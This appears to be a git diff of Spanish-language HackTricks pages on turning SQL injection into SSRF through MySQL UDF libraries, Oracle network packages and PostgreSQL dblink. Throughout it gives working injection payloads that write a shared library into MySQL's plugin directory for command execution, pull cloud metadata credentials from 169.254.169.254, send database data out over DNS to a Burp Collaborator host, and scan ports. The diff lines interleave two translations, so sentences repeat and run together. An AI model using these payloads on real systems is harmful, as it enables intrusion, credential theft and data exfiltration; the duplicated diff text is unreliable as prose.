Hay muchas otras funciones declaradas en esta biblioteca, un análisis de las cuales se puede ver [aquí](https://osandamalith.com/2018/02/11/mysql-udf-exploitation/). Si eres perezoso como yo, puedes obtener una copia de esta biblioteca UDF, para el sistema operativo objetivo, de una instalación de metasploit desde el directorio `/usr/share/metasploit-framework/data/exploits/mysql/` y comenzar.
|
||||
|
||||
Alternativamente, se han creado bibliotecas UDF específicamente para proporcionar a la base de datos la capacidad de realizar solicitudes HTTP. Puedes usar [MySQL User-defined function (UDF) for HTTP GET/POST](https://github.com/y-ken/mysql-udf-http) para hacer que la base de datos realice solicitudes HTTP, utilizando la siguiente sintaxis
|
||||
Alternativamente, se han creado bibliotecas UDF específicamente para proporcionar a la base de datos la capacidad de realizar solicitudes HTTP. Puedes usar [Función definida por el usuario de MySQL (UDF) para HTTP GET/POST](https://github.com/y-ken/mysql-udf-http) para que la base de datos realice solicitudes HTTP, utilizando la siguiente sintaxis
|
||||
|
||||
`x'; SELECT http_get('http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //`
|
||||
|
||||
También podrías [crear tu propia UDF y usarla para la post-explotación.](https://pure.security/simple-mysql-backdoor-using-user-defined-functions/)
|
||||
En cualquier caso, necesitas transferir la biblioteca al servidor de la base de datos. Puedes hacerlo de varias formas:
|
||||
También podrías [crear tu propia UDF y usarla para la post-explotación también.](https://pure.security/simple-mysql-backdoor-using-user-defined-functions/)
|
||||
|
||||
1. Utiliza la función de cadena `hex()` de MySQL o algo como `xxd -p filename.so | tr -d '\n'` para convertir el contenido de la biblioteca a formato hexadecimal y luego volcarlo en el directorio `@@plugin_dir` utilizando `x'; SELECT unhex(0x1234abcd12abcdef1223.....) into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //`
|
||||
2. Alternativamente, convierte el contenido de `filename.so` a base64 y utiliza `x';select from_base64("AAAABB....") into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //`
|
||||
En cualquier caso, necesitas transferir la biblioteca al servidor de la base de datos. Puedes hacer esto de varias maneras
|
||||
|
||||
Si el `@@plugin_dir` no es escribible, entonces estás de mala suerte si la versión es superior a `v5.0.67`. De lo contrario, escribe en una ubicación diferente que esté en la ruta y carga la biblioteca UDF desde allí utilizando:
|
||||
1. Usa la función de cadena `hex()` de MySQL o algo como `xxd -p filename.so | tr -d '\n'` para convertir el contenido de la biblioteca a formato hexadecimal y luego volcarlo en el directorio `@@plugin_dir` usando `x'; SELECT unhex(0x1234abcd12abcdef1223.....) into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //`
|
||||
2. Alternativamente, convierte el contenido de `filename.so` a base64 y usa `x';select from_base64("AAAABB....") into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //`
|
||||
|
||||
Si `@@plugin_dir` no es escribible, entonces no tienes suerte si la versión es superior a `v5.0.67`. De lo contrario, escribe en una ubicación diferente que esté en la ruta y carga la biblioteca UDF desde allí usando
|
||||
|
||||
* para la biblioteca `lib_mysqludf_sys` - `x';create function sys_eval returns string soname 'lib_mysqludf_sys.so'; -- //`
|
||||
* para la biblioteca `mysql-udf-http` - `x';create function http_get returns string soname 'mysql-udf-http.so'; -- //`
|
||||
|
||||
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/4.png)
|
||||
|
||||
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/5.png)
|
||||
Para automatizar esto, puedes usar SQLMap que soporta [el uso de UDF personalizadas a través de la opción `--udf-inject`](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||
|
||||
Para automatizar esto, puedes utilizar SQLMap que admite [el uso de UDF personalizadas a través de la opción `--udf-inject`](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||
|
||||
Para inyecciones de SQL ciegas, puedes redirigir la salida de las funciones UDF a una tabla temporal y luego leer los datos desde allí o utilizar [una solicitud DNS oculta dentro de un comando curl `sys_eval` o `sys_exec`](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration).
|
||||
Para Inyecciones SQL Ciegas podrías redirigir la salida de las funciones UDF a una tabla temporal y luego leer los datos desde allí o usar [solicitud DNS introducida dentro de un comando `sys_eval` o `sys_exec` curl](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,33 +2,35 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## SSRF
|
||||
|
||||
El uso de Oracle para realizar solicitudes HTTP y DNS fuera de banda está bien documentado, pero como medio para exfiltrar datos SQL en inyecciones. Siempre podemos modificar estas técnicas/funciones para realizar otras SSRF/XSPA.
|
||||
Usar Oracle para realizar solicitudes HTTP y DNS fuera de banda está bien documentado, pero como medio para exfiltrar datos SQL en inyecciones. Siempre podemos modificar estas técnicas/funciones para hacer otros SSRF/XSPA.
|
||||
|
||||
La instalación de Oracle puede ser realmente dolorosa, especialmente si quieres configurar una instancia rápida para probar comandos. Mi amigo y colega de [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me señaló [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c), lo cual me permitió configurar una instancia en una máquina Ubuntu de AWS t2.large y Docker.
|
||||
Instalar Oracle puede ser realmente doloroso, especialmente si quieres configurar una instancia rápida para probar comandos. Mi amigo y colega en [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me señaló [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permitió configurar una instancia en una máquina AWS Ubuntu t2.large y Docker.
|
||||
|
||||
Ejecuté el comando de Docker con la opción `--network="host"` para poder simular Oracle como una instalación nativa con acceso completo a la red, durante el transcurso de esta publicación de blog.
|
||||
Ejecuté el comando docker con la bandera `--network="host"` para poder simular Oracle como una instalación nativa con acceso completo a la red, para el transcurso de este blogpost.
|
||||
```
|
||||
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
|
||||
```
|
||||
#### Paquetes de Oracle que admiten una especificación de URL o de nombre de host/puerto <a href="#paquetes-de-oracle-que-admiten-una-especificación-de-url-o-de-nombre-de-host-puerto" id="paquetes-de-oracle-que-admiten-una-especificación-de-url-o-de-nombre-de-host-puerto"></a>
|
||||
#### Paquetes de Oracle que admiten una especificación de URL o de Nombre de Host/Puerto <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
|
||||
|
||||
Para encontrar cualquier paquete y función que admita una especificación de host y puerto, realicé una búsqueda en Google en la [Documentación en línea de Oracle Database](https://docs.oracle.com/database/121/index.html). Específicamente,
|
||||
Para encontrar paquetes y funciones que admitan una especificación de host y puerto, realicé una búsqueda en Google en la [Documentación en Línea de Oracle Database](https://docs.oracle.com/database/121/index.html). Específicamente,
|
||||
```
|
||||
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
|
||||
```
|
||||
La búsqueda devolvió los siguientes resultados (no todos se pueden utilizar para realizar conexiones de red salientes):
|
||||
La búsqueda arrojó los siguientes resultados (no todos se pueden utilizar para realizar conexiones de red salientes)
|
||||
|
||||
* DBMS\_NETWORK\_ACL\_ADMIN
|
||||
* UTL\_SMTP
|
||||
|
@ -45,21 +47,21 @@ La búsqueda devolvió los siguientes resultados (no todos se pueden utilizar pa
|
|||
* DBMS\_STREAMS\_ADM
|
||||
* UTL\_HTTP
|
||||
|
||||
Esta búsqueda básica obviamente omite paquetes como `DBMS_LDAP` (que permite pasar un nombre de host y número de puerto) ya que [la página de documentación](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) simplemente te redirige a una [ubicación diferente](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Por lo tanto, puede haber otros paquetes de Oracle que se puedan utilizar de manera abusiva para realizar solicitudes salientes que podría haber pasado por alto.
|
||||
Esta búsqueda rudimentaria obviamente omite paquetes como `DBMS_LDAP` (que permite pasar un nombre de host y número de puerto) ya que [la página de documentación](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) simplemente te redirige a una [ubicación diferente](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Por lo tanto, puede haber otros paquetes de Oracle que se puedan abusar para realizar solicitudes salientes que podría haber pasado por alto.
|
||||
|
||||
En cualquier caso, echemos un vistazo a algunos de los paquetes que hemos descubierto y enumerado anteriormente.
|
||||
|
||||
**DBMS\_LDAP.INIT**
|
||||
|
||||
El paquete `DBMS_LDAP` permite acceder a datos de servidores LDAP. La función `init()` inicializa una sesión con un servidor LDAP y toma un nombre de host y número de puerto como argumento.
|
||||
El paquete `DBMS_LDAP` permite el acceso a datos de servidores LDAP. La función `init()` inicia una sesión con un servidor LDAP y toma un nombre de host y número de puerto como argumento.
|
||||
|
||||
Esta función ya ha sido documentada anteriormente para mostrar la filtración de datos a través de DNS, como se muestra a continuación
|
||||
Esta función se ha documentado anteriormente para mostrar la exfiltración de datos a través de DNS, como se muestra a continuación
|
||||
```
|
||||
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
|
||||
```
|
||||
Sin embargo, dado que la función acepta un nombre de host y un número de puerto como argumentos, también puedes utilizar esto para funcionar como un escáner de puertos.
|
||||
Sin embargo, dado que la función acepta un nombre de host y un número de puerto como argumentos, también puedes usar esto como un escáner de puertos.
|
||||
|
||||
Aquí tienes algunos ejemplos:
|
||||
Aquí hay algunos ejemplos
|
||||
```
|
||||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
|
||||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
|
||||
|
@ -68,11 +70,11 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
|
|||
```
|
||||
Un `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indica que el puerto está cerrado mientras que un valor de sesión apunta a que el puerto está abierto.
|
||||
|
||||
**UTL\_SMTP**
|
||||
**UTL_SMTP**
|
||||
|
||||
El paquete `UTL_SMTP` está diseñado para enviar correos electrónicos a través de SMTP. El ejemplo proporcionado en el [sitio de documentación de Oracle muestra cómo se puede utilizar este paquete para enviar un correo electrónico](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Sin embargo, para nosotros, lo interesante es la capacidad de proporcionar una especificación de host y puerto.
|
||||
El paquete `UTL_SMTP` está diseñado para enviar correos electrónicos a través de SMTP. El ejemplo proporcionado en el [sitio de documentación de Oracle muestra cómo puedes usar este paquete para enviar un correo electrónico](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Sin embargo, para nosotros, lo interesante es la capacidad de proporcionar una especificación de host y puerto.
|
||||
|
||||
A continuación se muestra un ejemplo básico con la función `UTL_SMTP.OPEN_CONNECTION`, con un tiempo de espera de 2 segundos.
|
||||
A continuación se muestra un ejemplo rudimentario con la función `UTL_SMTP.OPEN_CONNECTION`, con un tiempo de espera de 2 segundos
|
||||
```
|
||||
DECLARE c utl_smtp.connection;
|
||||
BEGIN
|
||||
|
@ -86,13 +88,11 @@ BEGIN
|
|||
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
|
||||
END;
|
||||
```
|
||||
Un `ORA-29276: transfer timeout` muestra que el puerto está abierto pero no se estableció una conexión SMTP, mientras que un `ORA-29278: SMTP transient error: 421 Service not available` indica que el puerto está cerrado.
|
||||
|
||||
**UTL\_TCP**
|
||||
|
||||
El paquete `UTL_TCP` y sus procedimientos y funciones permiten la comunicación basada en TCP/IP con servicios. Si se programa para un servicio específico, este paquete puede convertirse fácilmente en una forma de acceder a la red o realizar solicitudes completas del lado del servidor, ya que se puede controlar todos los aspectos de una conexión TCP/IP.
|
||||
El paquete `UTL_TCP` y sus procedimientos y funciones permiten [comunicación basada en TCP/IP con servicios](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Si se programa para un servicio específico, este paquete puede convertirse fácilmente en una vía de acceso a la red o realizar Solicitudes del Lado del Servidor completas, ya que se pueden controlar todos los aspectos de una conexión TCP/IP.
|
||||
|
||||
El ejemplo en el sitio de documentación de Oracle muestra cómo se puede utilizar este paquete para realizar una conexión TCP cruda y obtener una página web. Podemos simplificarlo aún más y utilizarlo para hacer solicitudes a la instancia de metadatos, por ejemplo, o a un servicio TCP/IP arbitrario.
|
||||
El ejemplo [en el sitio de documentación de Oracle muestra cómo puedes usar este paquete para hacer una conexión TCP cruda para obtener una página web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Podemos simplificarlo aún más y usarlo para hacer solicitudes a la instancia de metadatos, por ejemplo, o a un servicio TCP/IP arbitrario.
|
||||
```
|
||||
set serveroutput on size 30000;
|
||||
SET SERVEROUTPUT ON
|
||||
|
@ -132,32 +132,32 @@ END;
|
|||
utl_tcp.close_connection(c);
|
||||
END;
|
||||
```
|
||||
Interesantemente, debido a la capacidad de crear solicitudes TCP sin procesar, este paquete también se puede utilizar para consultar el servicio de metadatos de instancia de todos los proveedores de servicios en la nube, ya que el tipo de método y los encabezados adicionales se pueden pasar dentro de la solicitud TCP.
|
||||
**UTL\_HTTP y Solicitudes Web**
|
||||
|
||||
**UTL\_HTTP y solicitudes web**
|
||||
|
||||
Quizás la técnica más común y ampliamente documentada en todos los tutoriales de Inyección de SQL Oracle Fuera de Banda es el paquete [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Este paquete está definido por la documentación como - `El paquete UTL_HTTP realiza llamadas de transferencia de hipertexto (HTTP) desde SQL y PL/SQL. Puede utilizarlo para acceder a datos en Internet a través de HTTP.`
|
||||
Quizás la técnica más común y ampliamente documentada en todos los tutoriales de Inyección SQL Oracle Fuera de Banda es el [paquete `UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). La documentación define este paquete como - `El paquete UTL_HTTP realiza llamadas al Protocolo de Transferencia de Hipertexto (HTTP) desde SQL y PL/SQL. Puede utilizarse para acceder a datos en Internet a través de HTTP.`
|
||||
```
|
||||
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
||||
```
|
||||
También puedes utilizar esto para realizar un escaneo de puertos rudimentario con consultas como
|
||||
Además, podrías utilizar esto para realizar un escaneo de puertos rudimentario con consultas como
|
||||
```
|
||||
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
|
||||
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
|
||||
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
|
||||
```
|
||||
Un `ORA-12541: TNS:no listener` o un `TNS:operation timed out` es una señal de que el puerto TCP está cerrado, mientras que un `ORA-29263: HTTP protocol error` o datos es una señal de que el puerto está abierto.
|
||||
Un `ORA-12541: TNS:no listener` o un `TNS:operation timed out` es una señal de que el puerto TCP está cerrado, mientras que un `ORA-29263: HTTP protocol error` o datos son una señal de que el puerto está abierto.
|
||||
|
||||
Otro paquete que he utilizado en el pasado con éxito variado es el [método `GETCLOB()` del tipo abstracto Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) que te permite interactuar con una URL y proporciona soporte para el protocolo HTTP. El método `GETCLOB()` se utiliza para obtener la respuesta GET de una URL como un [tipo de dato CLOB](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|
||||
Otro paquete que he utilizado en el pasado con éxito variable es el método [`GETCLOB()` del tipo abstracto de Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) que te permite interactuar con una URL y proporciona soporte para el protocolo HTTP. El método `GETCLOB()` se utiliza para obtener la respuesta GET de una URL como un [tipo de datos CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al grupo de** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) o al grupo de [**telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,36 +2,38 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Consejo para recompensas por errores**: ¡**regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**! ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
|
||||
**Consejo para cazar recompensas**: **regístrate** en **Intigriti**, una plataforma premium de **caza de recompensas creada por hackers, para hackers**. Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**.
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
***
|
||||
|
||||
**Esta página tiene como objetivo explicar diferentes trucos que podrían ayudarte a explotar una inyección SQL encontrada en una base de datos PostgreSQL y complementar los trucos que puedes encontrar en** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
**Esta página tiene como objetivo explicar diferentes trucos que podrían ayudarte a explotar una SQLinjection encontrada en una base de datos postgresql y complementar los trucos que puedes encontrar en** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
|
||||
## Interacción en la red: escalada de privilegios, escáner de puertos, divulgación de respuestas de desafío NTLM y exfiltración
|
||||
## Interacción de red - Escalada de privilegios, Escáner de puertos, divulgación de respuesta de desafío NTLM y Exfiltración
|
||||
|
||||
**`dblink`** es un **módulo de PostgreSQL** que ofrece varias opciones interesantes desde el punto de vista del atacante. Se puede utilizar para **conectarse a otras instancias de PostgreSQL** o realizar **conexiones TCP**.\
|
||||
Estas funcionalidades, junto con la funcionalidad **`COPY FROM`**, se pueden utilizar para **escalar privilegios**, realizar **escaneo de puertos** o capturar **respuestas de desafío NTLM**.\
|
||||
